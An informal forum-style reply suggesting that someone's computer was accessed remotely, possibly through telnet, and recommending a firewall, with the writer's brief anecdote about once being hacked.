More then likely, someone logged on to your computer (looks like they 
did it through telnet, but i could be wrong). In that case, either hook 
your computer into a firewall or download one for linux (which linux 
doesnt really need one, but if you are using your system for large-scale 
business, then its a good idea to get a firewall)

Sometimes i have noticed that when somebody logs on to my system and 
runs there script (yes i was hacked once..good thing my firewall blocked 
the attack...but it didnt catch the remote login?), it doesnt execute 
right..just fyi..most of the time it does though, especially when DoSing.
